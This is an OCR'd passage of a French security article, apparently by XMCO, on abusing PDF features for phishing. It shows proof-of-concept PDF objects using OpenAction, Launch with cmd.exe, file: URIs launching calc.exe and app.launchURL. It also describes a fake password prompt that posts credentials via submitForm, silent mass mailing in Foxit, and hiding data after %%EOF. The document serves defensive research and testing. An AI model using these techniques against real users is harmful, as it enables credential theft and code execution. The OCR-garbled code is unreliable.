gardés chaque jour sur Google Drive et Gmail
et pas moins de 60% des piéces jointes
qui ne sont pas des images dans Outlook Ex-
change Enterprise seraient des PDF (données
de 2016).»

Les attaques avancées utilisant des techniques de spear
phishing sont extrémement difficiles a détecter, car celles-
ci ne sont pas génériques et sont trés difficilement identi-
fiables par les utilisateurs, contrairement aux attaques de
phishing a grande échelle.

Les attaques de phishing ou de spear phishing ne sont pas
spécifiques a une catégorie d'attaquant en particulier, elles
sont trés largement utilisées et correspondent souvent a la
premiere étape d'une attaque plus avancée.

Un attaquant opportuniste peu expérimenté pourra utili-
ser un service de botnet afin de diffuser des emails de phi-
shing génériques a un grand nombre de cibles. Un groupe
d'attaquants avancés, comme un groupe APT, pourra
collecter un maximum d‘informations afin de rédiger un
message extrémement spécifique dans le but de compro-
mettre des comptes d'entreprise.

Avec ce type d’attaque, il est possible de réaliser deux

types d’actions:

- Le vol d'identifiants de connexion ou d’informations
confidentielles a I'aide d’'un formulaire ou d'une page
web reprenant le contenu et imitant le nom d'un site
[égitime ;

«  La prise de controle du systéme cible a I'aide d'une
piece jointe malveillante, permettant la divulga-
tion d'informations confidentielles voire la prise de
contréle du systeme d'information.

Dans cet article, nous nous concentrerons sur le deuxiéme
type d’attaque, en décrivant en détail un format méconnu
du grand public dans le domaine du phishing, mais pour-
tant utilisé par le plus grand nombre : le format PDF.

Note : Les PDF générés pour cet article n'exploitent aucune
vulnérabilité logicielle, seulement des primitives du lan-
gage PDF.
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Structure du format PDF

Un des formats les plus répandus de nos jours pour la mise
en forme de documents est le format PDF. Ce format, appa-
ru dans les années 90 sous le nom de Camelot, a été déve-
loppé par la société américaine Adobe et notamment par
I'un de ses cofondateurs, John Warnock [3].

Le format PDF (pour Portable Document Format) permet
de créer des documents électroniques qui ont la garantie
d'avoir toujours la méme mise en page, et ce, quel que soit
le logiciel utilisé pour les lire. Pour réaliser ceci, les fichiers
pdf reposent originellement sur le langage PostScript
(également développé par Adobe). C'est en réalité une
version plus structurée de ce langage de description de
page qui est maintenant utilisée par les PDF pour générer
notamment la mise en page et les graphiques.

Sa popularité aupres des entreprises en fait un vecteur d'at-
taque de choix pour les attaquants. En effet, d'apres la PDF
Association, 73 millions de nouveaux PDF seraient sauve-
gardés chaque jour sur Google Drive et Gmail et pas moins
de 60% des piéces jointes, qui ne sont pas des images dans
Outlook Exchange Enterprise, seraient des PDF (données
de 2016) [4]. De plus, le nombre de fonctionnalités sous-
jacentes de ce format (utilisation de script, intégration de
fichiers ...) permet d'avoir une surface d’attaque impor-
tante et donc de trouver de nouvelles maniéres de I'exploi-
ter.

Ce fichier PDF est composé de 4 éléments principaux :

Le header, ou en-téte en francais, permet d'identifier un
fichier PDF ainsi que la version utilisée. La norme PDF étant
toujours en évolution et tentant de garder un maximum
de rétrocompatibilité, il est possible de trouver des PDF
de version 1.0 (1992) a 1.7 (2006) voire plus récemment
2.0 (2017). Chaque version apportant son nouveau lot
de fonctionnalités, il est intéressant de comparer toutes
les versions ainsi que leurs implémentations au niveau
logiciel.

sPDF41.7

Exemple den-téte de document PDF en version 1.7

Le body, ou corps en francais, est la partie principale du
PDF, celle qui représente son contenu. Elle contient donc
tous les objets qui forment le document. Dans un PDF, tout
est objet, que ce soit une image, une police de caractere,
un script, ou encore une signature numérique.
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18 obj
<= /Type fCatalog /Pages 2 @ R ==
endob]

2 8 obj

bt
/Type /Pages
fKids [ 38R ]
/Count 1

g

endob]

31 8 obj

<
/Type fPage /Parent 2 @ R
/Resources

/Font

om Body

o8

/Mype [Font /Subtype /Typel /BaseFont fArial

g

/Contents 4 8 R

<= fLength 44 ==
stream

BT

/F1 118 Tf

18 488 Td

{Hello World!) T3
ET

endstream

endobj

Elément Body d'un fichier PDF

Pour pouvoir gérer cette grande diversité de contenu, le

langage PDF supporte 8 types d'objets basiques :

. lesvaleurs booléennes (true ou false) ;

- les nombres (entiers et réels) ;

- les chaines de caractéres (entre parenthéses ou che-
vrons) ;

« les noms (préfixés parun/);

. lestableaux (entre crochets) ;

les dictionnaires (entre doubles-chevrons << >>) ;

« les flux (délimiter les mots-clés stream et endstream) ;

«  lobjet nul (null).

Ces objets peuvent étre labellisés (indirects object), ils
pourront alors étre référencés par d'autres objets. Si des
objets ne sont pas labellisés (direct objects), ils seront alors
intégrés directement dans un autre objet. Les objets in-
directs, qui sont les plus courants, ont toujours la méme
structure : une premieére ligne avec leurs informations de
référencement (object number), de version (generation nu-
mber) et de type (obj), puis un dictionnaire contenant les
informations de l'objet entre chevrons et enfin sur une der-
niére ligne, le mot-clé endobj.

[xXmMco]

/Type /Font
fSubtype /Typel <<. . .
/Name /F1 <Contenu du dictionnaire>
/BaseFont /Helvetica

/Encoding /MacRomanEncoding

Exemple d'objet indirect dans un PDF

La cross-reference table, ou table des références croi-
sées, contient quant a elle I'emplacement de tous les ob-
jets indirects, ce qui permet de retrouver I'emplacement
des objets sans avoir a parcourir le document entierement.

(Hello World!) Tj

Beasaaaeee 65535
BeooBaEaR1e BB
BEABABAREE BBBBD
BE08088132 BOBda
BEABABAZTT BB
traller

Elément Cross-Reference d'un fichier PDF

Chaque entrée de la table fait 20 octets et contient dans
l'ordre : le décalage entre le début du document et le dé-
but de l'objet (10 octets), le numéro de version de l'objet
(5 octets) et une lettre f ou n. La lettre f indique free, c’est-
a-dire que l'objet est toujours présent dans le document,
mais qu'il n'est pas utilisé. La lettre n indique quant a elle
que l'objet est utilisé (in-use).

oaoooeela’ | oeees | n

Exemple d'entrée dans la table des références croisées

Enfin, le trailer, ou queue en francais, initialise certaines
entrées spéciales (Size, Prev, Root, Encrypt, Info et ID) dans
un dictionnaire puis donne I'emplacement de la table des
références croisées (décalage entre le début du document
et le mot-clé xref) et enfin termine symboliquement le PDF
par la chaine de caractéres %%EOF (End Of File).
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AOABBAA3TT BEAEE n
trailer
<< fRoot 1 @ R f5ize 5 »>

startxref

Exemple de trailer de document PDF

/Size 8
/Root 1 @ R
>

startxref
734
%%EQF

Exemple de trailer de document PDF

A titre d'exemple, I'entrée Size sert a informer les lecteurs
PDF sur le nombre d'objets présents dans le document et
I'entrée Root permet d'indiquer l'objet spécial Catalog.

Les autres entrées sont optionnelles ou dépendantes de
certaines conditions (chiffrement du PDF, présence de ver-
sioning d'objets, etc.). Il peut également étre intéressant
de noter que le format PDF permet d’'enregistrer les modi-
fications effectuées via une méthode de sauvegarde incré-
mentale. Les modifications seront alors référencées dans la
table des références croisées (les objets supprimés seront
notamment marqués en tant que tels via le marqueur f,
mais resteront toujours présents dans le document).

Cette vue du fichier PDF via le code source est parfaite-
ment plate alors qu'en réalité, il est possible de voir un fi-
chier PDF d’une autre maniére. La structure globale d'un
fichier PDF est en réalité une structure hiérarchique dont
l'origine est l'objet Catalog défini dans le trailer via I'entrée
Root. Ce catalogue contient notamment les références vers
les différentes pages a afficher ainsi que des informations
complémentaires sur comment le document doit étre affi-
ché a l'écran. Il est donc a l'origine de tout le contenu d'un
PDF.

P
Iy . A
\ ~
" -
. z
" .—
., -
\ -
N
o

Resources Content stream
e Font A (" Textobject
. (Arar) . ("Hello Wolrdl")

Représentation hiérarchique d'un PDF

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Aprés avoir fait ce tour densemble du fonctionnement
d’un PDF, nous allons pouvoir nous intéresser aux cas d'uti-
lisation malveillants de ce type de fichier.

Note : La norme PDF étant libre, différents développeurs
de logiciels ont développé des outils pour travailler avec
les PDF. La suite de cet article se focalise sur 4 des applica-
tions lourdes les plus utilisées (Adobe Reader, Foxit Rea-
der, Nitro Pro et Soda Desktop) et 2 librairies utilisées au
sein des populaires navigateurs Google Chrome et Mozilla
Firefox.
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Les fonctionnalités a risques

Avant méme de parler d'exécution, d'exploitation ou d'ac-
tion, nous allons découvrir une fonctionnalité fondamen-
tale dans l'utilisation malveillante des PDF. Quel que soit
le type de fichiers piégés qu'un attaquant peut utiliser, ce
dernier aura toujours besoin d'un élément déclencheur
pour effectuer une action. Que ce soit un clic utilisateur sur
un lien, le survol d’un objet ou autre, il doit exister un mé-
canisme qui permet de lancer 'action initiale.

L'entrée qui va nous servir de déclencheur pour I'ensemble
de nos PDF piégés est la méme : OpenAction.

OpenAction est une entrée du catalogue qui permet ini-
tialement d'ouvrir le document sur une page spécifique
ou d'effectuer une action précise deés l'ouverture du docu-
ment. C'est la 2éme fonctionnalité qui va donc nous inté-
resser ici. Lintérét d'utiliser OpenAction est de minimiser
les interactions utilisateurs pour faire en sorte que ce der-
nier ait le moins de suspicion possible. En effet, dans ce
cas, l'utilisateur n'a aucune action a effectuer pour déclen-
cher les événements malveillants si ce n'est ouvrir le PDF.
L'utilisation d'OpenAction se fait de maniére trés simple au
niveau du catalogue. Lentrée prend 3 parametres qui sont
le numéro de référence de l'objet contenant I'action, son
numéro de version et enfin le mot-clé R qui permet d‘indi-
quer que c’est un objet référencé.

%PDF-1.1

1 @ obj
<<
/Type /Catalog
J/Outlines 2 8 R
/Pages 3 @ R
/0penAction 7 @ R
>
endobj

Extensions (£ ¥X)

7 @ obj

=<

/Type /Action

/S /JavaScript

/1S (app.alert({cMsg:
>
endobj

'Hi!', cTitle:

Grace a l'entrée OpenAction, nous sommes donc en me-
sure de déclencher I'action de notre choix dés l'ouverture
du PDF.

Nous allons maintenant nous intéresser aux actions inté-
ressantes du point de vue d'un attaquant.

Avant de présenter les différentes actions employées lors
de nos recherches, il semble important de présenter ce
gu'est une action dans un fichier de type PDF. Une action
est un objet représentant un comportement a reproduire.
Typiquement, pour un PDF |égitime, ces comportements
pourraient étre de jouer une musique, de modifier I'appa-
rence d’'un élément, de changer de pages, etc.

Cet objet a toujours la méme structure principale avec 3
entrées:
/Type : définit le fait que ce dictionnaire représente
une action avec le mot-clé Action;
/S : définit le type d’action parmi une liste ;
/Next : entrée optionnelle qui permet de chainer les
actions.

Nous allons donc voir 3 types d’actions différentes permet-
tant d'élaborer des scénarios intéressants dans le cadre
d’une campagne de phishing.

Pour chaque action, un tableau récapitulatif des tests ef-
fectués est disponible en fin de section. Une case verte

'Launched by OpenAction', nIcon: 3})

Fonctionnement d'OpenAction

[xXmMco]
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correspond a une exploitation non réussie tandis qu'une
case rouge représente la création d’'une preuve de concept
fonctionnelle. Le chiffre correspond au nombre d'interac-
tions utilisateur nécessaires pour déclencher I'action ou
envoyer des données. Tous ces scénarios ont été testés sur
une machine Windows 10 et des logiciels a jour a I'heure
de 'écriture de l'article.

Launch

La Tere action réalisable dans un PDF qui va nous intéres-
ser est |'action Launch. Cette action permet de lancer une
application ainsi que d'ouvrir ou d'imprimer un document.
Cette action accepte différentes entrées :

- /F : entrée obligatoire si I'entrée /<PLATFORM> n'est
pas présente spécifiant le chemin vers le fichier a ou-
vrir ou a imprimer, ou l'application a lancer;

- /NewWindow : entrée optionnelle spécifiant si I'action
doit avoir lieu dans une nouvelle fenétre ou non (uni-
quement si I'entrée /F est un PDF) ;

- /<PLATFORM> : entrée optionnelle spécifiant une
commande dépendamment de la plateforme via un
dictionnaire. 3 valeurs possibles : Win, Mac et Unix ;

- Ledictionnaire associé permet de spécifier une appli-
cation via /F, de lui ajouter des parameétres via /P et de
renseigner un répertoire par défaut avec la syntaxe
DOS via /D.

8 0 obj
<<

/Type /Action
/5 /Launch
/Win

=<

/F (cmd.exe)
/P (/c ping 8.8.8.8)

>>

>>
endobj

Exemple d'action Launch permettant de faire un ping sur
8.8.8.8

Lintérét de cette action pour un attaquant est donc l'exé-
cution de commandes personnalisées en fonction de la
plateforme.

Le scénario privilégié ici est une exécution de commandes
directement depuis le PDF, notamment a 'aide de I'exécu-
table cmd.exe.

Ce scénario est réalisable sur le lecteur Foxit Reader a
condition que l'utilisateur accepte un avertissement de sé-
curité explicite. Si l'utilisateur accepte de poursuivre, il est
possible d’exécuter des commandes sur le systeme.

Launch File

This file and its viewer application are set to be launched by the PDF file.
A The file may contain programs, macros, or viruses that could potentialy
»’_’{ . cause damage to your computer.

Only open the file when you are sure it is safe. If the file was placed by a
trusted person or program, you can dick Open to view the file.

File: C:\Windows\system32\cmd.exe

The file and its viewer application contain parameters!

Avertissement de sécurité Foxit Reader suite a l'action Launch

[ Do not show this message again Do Not Ope

Un second scénario de phishing a été retenu suite au com-
portement observé des logiciels Nitro et Soda. En effet, ces
2 logiciels ne proposent pas d’avertissement de sécurité a
I'utilisateur lors du lancement d’une application externe.
Ainsi, il est tout a fait possible de lancer n'importe quel
exécutable ou fichier lors de l'ouverture du PDF sans que
I'utilisateur n'en soit informé. La seule contrepartie étant
I'impossibilité de lancer ces exécutables avec des para-
meétres. Egalement, I'utilisation de I'entrée permettant de
spécifier un chemin de fichier dépendant de la plateforme
empéche le lancement de I'action. Néanmoins, un scéna-
rio de phishing se dégage de ce comportement. En pas-
sant par l'utilisation de fichier ZIP, un attaquant pourrait
tout a fait mettre le PDF avec la fonction Launch pointant
vers un script caché au sein du ZIP. Ainsi, la victime pourrait
étre compromise sans faire face a aucun avertissement de
sécurité.

Les conséquences en matiere de sécurité étant évidentes,
certaines bibliothéques ont préféré ne pas implémenter
ces fonctionnalités telles que pdfjs (utilisée par Firefox) qui
précisent notamment dans son code :

case "Launch":

/f We neither want, nor can, support arbitrary ‘Launch' actions.

Gestion de l'action Launch au sein de pdfjs

C'est également le cas de PDFium (utilisé par Chrome) qui
n'a pas implémenté I'action Launch.

Extraction du

A - -0

1) Envoi du mail
contenant le ZIP 3) Ouverture du PDF

exécutant le script

4) Exécution du script
contenant la charge active

Schéma d'une exploitation sans interaction utilisateur sous Nitro et Soda

(XmMcol
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Action::5et0CGS5tate:
Action::Thread:
Action::Sound:
Action::Movie:
::Rendition:
1::Trans:
1::GoTo3DView:
:GoToR:
: GoToE:
Action::Launch:
Action::ImportData:

Gestion de ['action Launch au sein de PDFium

Adobe Acrobat Reader fait exception au sein des appli-
cations lourdes, car bien qu'elle permette le lancement
d’applications externes, c'est la seule avec laquelle nous
n‘avons pas réussi a avoir d'attaque 100% fonctionnelle. En
effet, le logiciel maintient une liste noire d’extensions que
I'application n’a pas le droit de lancer. Cela permet ici de
bloquer bon nombre d’attaques, mais n'est pas un moyen
de défense parfait (un systeme de liste blanche serait pro-
bablement plus intéressant d’'un point de vue sécurité
bien que compliqué a maintenir).

On pourra donner comme exemple le cas des fichiers .Set-
tingContent-ms (CVE-2018-8414) qui permettaient d'exé-
cuter du code et qui n'étaient pas bloqués par cette liste
noire.

Au final, sur les 4 applications lourdes permettant notam-
ment la modification de PDF, trois d'entre elles permettent
d'utiliser I'action Launch. Les deux navigateurs testés per-
mettant la lecture de PDF n'implémentent pas cette fonc-
tionnalité.

Logiciels Vulnérables ?
Adobe Reader DC
Foxit Reader
Nitro Pro 13
Soda Desktop 11

Chrome

Firefox

Tableau récapitulatif des applications permettant le lance-
ment d'application externe via Launch

[XmMco)

Blacklisted extensions

Attachment black list

Extension Description

ade Access Project Extension (Microsoft)

.adp Access Project (Microsoft)

.app Executable Application

.asp Active Server Page

.bas BASIC Source Code

.bat Batch Processing

bz Bzip UNIX Compressed file

bz2 Bzip 2 UNIX Compressed file (replaces BZ)

.cer Internet Security Certificate file (MIME x-x509-ca-cert)
.chm Compiled HTML Help

[class Java Class file

.cmd DOS CP/M Command file, Command file for Windows NT
.com Command

.command Mac OS5 Command Line executable

.cpl Windows Control Panel Extension (Microsoft)
.crt Certificate file

.csh UNIX csh shell script

.exe Executable file

fxp FoxPro Compiled Source (Microsoft)

gz Gzip Compressed Archive

Jhex Macintosh BinHex 2.0 file
“hip Windows Help file
“hax Macintosh BinHex 4 Compressed Archive

.hta Hypertext Application

.inf Information or Setup file

Jini Initialization/Configuration file

.ins 11S Internet Communications Settings (Microsoft)
.isp 11S Internet Service Provider Settings (Microsoft)
its Internet Document Set, International Translation
Jar Java Archive

job Windows Task Scheduler Task Object

Js JavaScript Source Code

Extrait des extensions en liste noire d’Adobe Acrobat Reader

DC

« Initialement, cette fonctionnalité est faite

pour ouvrir un site web et aller chercher un

autre fichier PDF avec les protocoles http: et

https:. Néanmoins, on peut utiliser le proto-

cole file: pour lui faire ouvrir directement un
fichier du systeme »
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URI

L'action URI permet a un PDF de résoudre une URI et
donc d'identifier une ressource sur Internet. Cette action
s‘appuie sur le standard décrit dans la RFC 2396 pour al-
ler chercher une ressource a un endroit donné. Bien que
cette fonction soit utilisée dans son fonctionnement no-
minal pour créer, par exemple, des liens hypertextes, elle
peut étre détournée de ce fonctionnement en abusant du
nombre de protocoles existants dans la norme.

Initialement, cette fonctionnalité est faite pour ouvrir un
site web et aller chercher un autre fichier PDF avec les
protocoles http: et https.. Néanmoins, on peut utiliser le
protocole file: pour lui faire ouvrir directement un fichier
du systeme. Le fonctionnement de cette ouverture de fi-
chier se fait en fonction du programme par défaut associé
au type de fichier sélectionné. Ainsi, un fichier .html sera
lancé automatiquement via le navigateur par défaut, mais
un fichier script (.vba, .bat, etc.) sera directement exécuté.

Le scénario privilégié ici est toujours I'exécution de com-
mande sur le systéme.

8 0 obj
<<

/Type /Action

/S /URI
/URI(file://c:/Windows/System32/calc.exe)
>>

endobj
Lancement de calc.exe via 'action URI

Les lecteurs de PDF Nitro et Soda permettent de lancer un
fichier arbitraire sur le systeme en connaissant sa localisa-
tion sur le systeme de fichier. Néanmoins, nous nous re-
trouvons dans la méme position que précédemment, soit
avec une exécution de fichier sans parametre, mais cette
fois-ci avec une fenétre de sécurité en plus (bien que tron-
quée au niveau du chemin du fichier sélectionné).

Nitro Pro *

The document is trying to connect to
file: ffc:

If you trust this site, choose allow. Otherwise choose Elodk.

Always Allow

Security Warning

The document is trying to connect to:
file://

Do you trust file://? If you trust this site, choose "Allow". If
you do not trust the site, choose "Block".

v| Remember this action for this site for all PDF Documents
HELP ALLOW BLOCK

CANCEL

Fenétres d'avertissement de Nitro et Soda
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Adobe ne le permet pas et bien que Foxit Reader présente
une fenétre d’avertissement de sécurité, les fichiers ne
sont pas lancés par la suite.

Les 2 lecteurs intégrés aux navigateurs Chrome et Firefox
ne gérent pas d'autres schémas que http: et https: ou ne
prennent que les chemins pointant vers un document PDF.

Vulnérables ?

Logiciels
Adobe Reader DC
Foxit Reader
Nitro Pro 13
Soda Desktop 11
Chrome

Firefox

Tableau récapitulatif des applications permettant le lance-
ment d'application externe via URI

JavaScript

L'action JavaScript a été ajoutée aux spécifications du for-
mat PDF lors la version 1.3 sortie en 1999. Cette action
permet l'exécution de code JavaScript notamment pour
rendre les documents plus interactifs (utilisation de for-
mulaires influencant le document, validation des entrées
utilisateurs, etc.). Laction JavaScript en elle-méme est
extrémement simple puisquelle ne prend qu'une entrée
obligatoire qui est /JS. Il s'agit d’'une chaine de caractéres
ou un flux contenant le code JavaScript a exécuter. Le
contenu et les effets des scripts sont détaillés dans deux
documents de référence : Mozilla Development Center's
ClientSide JavaScript Reference et Adobe JavaScript for Acro-
bat API Reference. En réalité, bien que ces 2 documents
soient explicités dans la documentation du format PDF, les
lecteurs PDF restent relativement libres dans leur implé-
mentation comme nous allons pouvoir le voir.

Comme pour les autres actions, et en regle générale pour
toutes nos attaques, nous nous intéressons d’'abord aux
méthodes nous permettant d'exécuter du code arbitraire
sur le systeme ciblé. Nous avons donc consulté les deux
documentations et nous y avons trouvé une méthode in-
téressante : app.launchURLJ).

Note : La méthode this.getURL() semblait également pro-
metteuse, mais implémentée uniquement dans Acrobat
Professional et Acrobat Standard d’apres la documenta-
tion. Elle ne semble pas non plus implémentée dans les
autres logiciels testés.

Au premier abord, on pourrait penser que cette fonction
ne permet qu'un scénario d'exfiltration de données, car
elle rejette les schémas de protocole tels que file: ou ja-
vascript: d’apres la documentation Adobe.

Note: This method does not support URLs that begin with either scheme name javascript orfile.

Note dans la documentation Adobe sur la fonction laun-

chURL()

(XmMcol
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Néanmoins, si elle venait a accepter un schéma du type
file;, nous aurions alors un comportement similaire a I'ac-
tion Launch. Comme nous l'avons vu avec les scénarios
précédents, l'interprétation de ces documentations res-
tant trés libre et leurs implémentations plus encore, nous
avons testé cette fonction dans différents lecteurs de PDF
pour voir ce qu'il en était.

8 0 obj
<<
/Type /Action

/S /JavaScript
/3S [app.launchURL("file://c:/Windows/System32/calc.exe"))

>>
endobj

Lancement de calc.exe via app.launchURL()

Les lecteurs PDF intégrés aux navigateurs Chrome et Fire-
fox n‘implémentent pas ces fonctionnalités. Pour étre pré-
cis, pdfjs implémente bien cette fonction, mais ne l'exé-
cute pas.

£ Warning: JavaScript is not supported

Message d'avertissement de Firefox

PDFium quant a lui ne I'implémente pas du tout.

t CIS_App: : launchURL(CIS_F

pRuntime,

ctor<v8::Local<v8::Value>>& params) {

Result: :Success();

Commentaire dans le code source de PDFium

Pour ce qui est des clients lourds, la fonction est bel et bien
implémentée au moins chez Foxit Reader et Nitro. Mais
on apprend que dans Foxit Reader 8.3.2.0303.25013, une
vulnérabilité de type injection de commande en trompant
I'appel JavaScript app.launchURL pour exécuter un pro-
gramme local a été corrigée (https://www.foxitsoftware.
com/fr/pdf-reader/version-history.php). Lors de I'utilisa-
tion d'app.launchURL(), Foxit Reader renvoie donc un mes-
sage de sécurité, mais n'‘exécute pas le programme local.

rd:true,
"Mot de passe:"

Nitro, a I'opposé, implémente la fonction et laisse la possi-
bilité de mettre des schémas tels que file:. Nous pouvons
donc exécuter un programme local si I'utilisateur accepte
I'avertissement de sécurité qui lui est présenté.

Adobe Acrobat Reader semble quant a lui bien implémen-
ter la fonction (uniquement ouverture de http et https)
tandis que Soda semble ne pas I'implémenter du tout.

Vulnérables ?

Logiciels
Adobe Reader DC
Foxit Reader
Nitro Pro 13
Soda Desktop 11
Chrome

Firefox

Tableau récapitulatif des applications permettant le lance-
ment d'application externe via app.launchURL()

En cherchant d’autres scénarios, nous avons découvert
la fonction this.submitForm() qui permet normalement
I'envoi de formulaire, notamment au format FDF (Acrobat
Form Data Format). En testant cette fonction, nous nous
sommes rendu compte que nous pouvions exfiltrer des
données. A l'aide d'une autre fonction JavaScript (app.
response()), nous sommes alors en mesure d'afficher une
alerte a l'utilisateur affichant le PDF. Par le biais de cette
fenétre, nous pouvons demander a I'utilisateur de rentrer
son mot de passe pour accéder au contenu du PDF. Une
fois que l'utilisateur a saisi son mot de passe, ce dernier est
envoyé au sein d'une requéte POST vers notre serveur.

Néanmoins, ce scénario différe quelque peu selon le lec-
teur PDF utilisé.

Warning: JavaScript Window - Connexion X

Acceder au PDF

Mot de passe:

u"“anui I

0K Cancel

Warning: JavaScript Window

Security Waming b

The docymept is toving te conne
e

Ss.submitForm( ‘http://

1+ 380 44, 301868 172.16.10.108

172.16.10.136

|
L Lt

http://172.16.10.136

Do weli trust 172.16.10.1367 If you trust the site, choose Allow. If you do not trust the
g, choose Block.

Remember this action for this site for all PDF documents

HTTP

Help Block Cancel
y
153 iPOSY /P@isssword123 I-I'l‘rPfl.l (application/vnd.fdf)

Scénario de demande d'authentification sur Adobe Acrobat Reader DC

[XmMco)
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En effet, si I'utilisateur utilise Adobe Acrobat Reader DC, la
fenétre de demande de mot de passe présentera un ler
avertissement JavaScript Windows, puis affichera une fe-
nétre expliquant que le document essaie de contacter une
certaine URL.

Si l'on prend I'exemple de Nitro, I'utilisateur ne pourra ac-
céder au PDF qu'en entrant son mot de passe ou en cli-
quant sur « Annuler ». Mais aucune fenétre de sécurité n'est
alors affichée.

Pour Foxit Reader, le scénario est le méme que pour Adobe
a l'exception pres que la fausse fenétre d’authentification
n'indique pas quelle provient de JavaScript et que le mot
de passe saisi par l'utilisateur est en clair.

Le lecteur Soda, quant a lui, ne permet pas d'afficher de
fenétre a l'aide d'app.response().

Vulnérables ?

Logiciels
Adobe Reader DC
Foxit Reader
Nitro Pro 13
Soda Desktop 11
Chrome

Firefox

Tableau récapitulatif des applications permettant le scénario
de demande d'authentification via this.submitForm()

Un dernier scénario est également apparu sur le lecteur
Foxit Reader. Dans la documentation de référence sur le
JavaScript au sein des PDF, il est mentionné la possibilité
d'envoyer des emails directement depuis le PDF et ce, sans
interaction utilisateur.

bui : indicates wether user interaction is required. If true, the
remaining parameters are used to seed to compose-new-mes-
sage window that is displayed to the user. If false, the cTo pa-
rameter is required and others are optional

Néanmoins, il est aussi précisé que, depuis Acrobat 7.0, ce
paramétre nécessite un contexte privilégié pour fonction-
ner.

Mais lors de nos tests, nous avons remarqué que sur Foxit
Reader, aucune confirmation n'était demandée. Il est donc
possible dés l'ouverture du PDF d'envoyer un ou plusieurs
mails a des destinataires différents (la seule limite men-
tionnée dans la documentation étant la taille de l'objet et
du corps du mail ne devant pas excéder 64 ko).

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Envoi de mail sans interaction utilisateur

Pour réussir a envoyer des mails sans interaction utilisa-
teur, le code JavaScript a recours aux fonctions MAPI (Mes-
saging Application Programming Interface) développées
par Microsoft. Les fonctions MAPI permettent a un logiciel
tiers d'effectuer des actions sur les mails ou d'accéder a
certaines informations. La condition pour que le mail soit
envoyé est donc qu’un client mail utilisant MAPI (ex : Out-
look, HCL Domino, Scalix, etc.) soit installé et configuré sur
le poste de la victime.

« Mais lors de nos tests, nous avons remarqué
que sur Foxit Reader,
aucune confirmation n’était demandée.
Il est donc possible dés l'ouverture du PDF
d’envoyer un ou plusieurs mails a des destina-
taires différents »

Le scénario retenu pour I'exploitation de cette fonctionna-
lité est donc le suivant :

1. Une liste d'adresses mail est récupérée au préa-
lable de maniére passive;
2. Une ou plusieurs victimes sont sélectionnées et

recoivent chacune un mail piégé avec un envoi
de mail a un ensemble différent d’adresses mail
de collaborateur;

3. A l'ouverture du PDF, les mails de phishing sont
envoyés aux collaborateurs au nom de la per-
sonne ouvrant le mail ;

4, Les collaborateurs en question regoivent le mail
avec un lien vers une page de phishing.

(XmMcol
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Schéma du scénario de phishing par rebond

Lintérét de ce genre d'attaque est d'apporter de la Ié-
gitimité aux seconds mails pour augmenter le nombre
d'ouvertures / clics sur les liens malveillants. En effet, une
personne recevant un mail d'un collaborateur n‘aura pas
la méme suspicion qu’a I'égard d'un mail provenant d’'une
personne inconnue. Un autre avantage est le contourne-
ment des anti-spam car les seconds emails envoyés pro-
viennent d'utilisateurs internes et sont donc susceptibles
d'étre des expéditeurs autorisés n'étant pas soumis a des
regles de filtrage.

EmbeddedFiles

Au-dela des tentatives d’exécution de commandes, il peut
étre intéressant de noter du point de vue d'un attaquant
I'existence de I'entrée EmbeddedFiles. Cette entrée permet
d'intégrer au sein d'un PDF un flux de données disponibles
par la suite en tant que piéce jointe sur le lecteur de PDF. A
travers cette fonctionnalité, on pourrait tout a fait imaginer
qu’un attaquant y introduise un exécutable ou toute autre
charge utile pour I'exploiter par la suite a travers une faille
logicielle.

D'autres techniques de dissimulation visuelle existent. Ces
derniéres permettent de rendre I'apparence d’un PDF tout
a fait bénigne (pas de pieces jointes visibles pour la vic-
time). Une premiére technique consiste a écrire les don-
nées directement apres le signal de fin de fichier a savoir
%%EOF.

Cette manceuvre a pour effet de rendre des données invi-
sibles pour un lecteur PDF (et donc pour l'utilisateur), car le
lecteur ne prend pas en compte ce qu'il y a aprés ce signal
de fin, le fichier PDF restant valide.

[XmMco)

Intégration de données apres la fin d'un document PDF

Une seconde technique consiste a abuser du mécanisme
de sauvegarde incrémentale des PDF. En effet, en mettant
les données a intégrer dans une premiere version d'un ob-
jet puis en ajoutant une seconde version de cet objet vide,
on peut dissimuler la présence des données tout en gar-
dant un PDF valide.

Conclusion

[l existe encore d'autres fonctions (app.browseForDoc(), this.
exportedDataObjects(), etc.) et actions (GoToR, GoToF, etc.)
potentiellement intéressantes pour un attaquant, mais
comme nous l'avons vu au travers des précédents scéna-
rios, leurs exploitations reposent essentiellement sur leurs
implémentations, qui sont elles-mémes dépendantes des
éditeurs d'applications. La capture suivante issue de la key-
note de présentation du format PDF 2.0, montre dailleurs
bien la volonté de laisser la norme libre au niveau de I'im-
plémentation.

#PDF Associated Files (AF)

assacialson

__means to associate content in

s Associated Files provide a of a PDE file and to identify

other formats with selected objects

the relationship between them.”

= Object can be anything: PDF document, page, graphics object, @
structure element, annatation, ..

» AFRelationship describes the semantic relationship

1 = eg Source, Data, Alternative, Supplement, EncryptedPayload,
[ FormData, Schema

. (PDF 2.0 does not give explicit instructions on how to process]

8 Enables new capabilities via semantic i
relationshi
PDF objects and other arbitrary data bt

attach MathiL to equation
graphics
aftach spreadshest or raw data
2 to chart graphi
attach bumrmsXMLmanelecuun' i e
Bk fo s i
s attach aphic data to ref —

Capture décran de la keynote de présentation de la norme

PDF2.0[5
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De plus, la norme du langage PDF est encore amenée a
changer puisque de nouveaux brouillons de normes ap-
portant toujours plus de fonctionnalités sont en cours de
rédaction. Par exemple, la norme 2.0 du format PDF décrite
dansI'ISO 32000-2:2017 sortie en 2017 avait déja ajouté de
nouvelles fonctionnalités telles que le chiffrement AES 256
bits, les Metadata XMP, les Associated Files, etc. tout en en
supprimant définitivement d’autres (Flash Player, format
XFA, etc.).

Néanmoins, a travers ces scénarios, nous avons pu Vvoir
qu'il est tout a fait possible d'embarquer des charges vi-
rales, d'exfiltrer des informations ou encore de prendre le
contrdle d'une machine a distance pour peu qu’un utilisa-
teur peu attentif décide d'ouvrir un PDF provenant d’'une
source non vérifiée.

Lors des différents tests réalisés, I'utilisation de lecteurs
de PDF intégrés a des navigateurs a semblé apporter plu-
sieurs avantages en termes de sécurité. En effet, la surface
d'attaque est drastiquement réduite dans les navigateurs
due a I'absence d'implémentation des actions a risque (et
de certaines fonctions JavaScript). C'est également dans
un souci de praticité que l'on pourrait recommander d'uti-
liser les lecteurs des navigateurs puisque cela représente
un logiciel en moins a installer, ce qui permet donc par la
méme occasion de réduire encore un peu plus la surface
d'attaque sur une machine de maniére générale.
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> XMCO ET PHISHERMAN

XMCO a développé une offre de service appelée Phi-
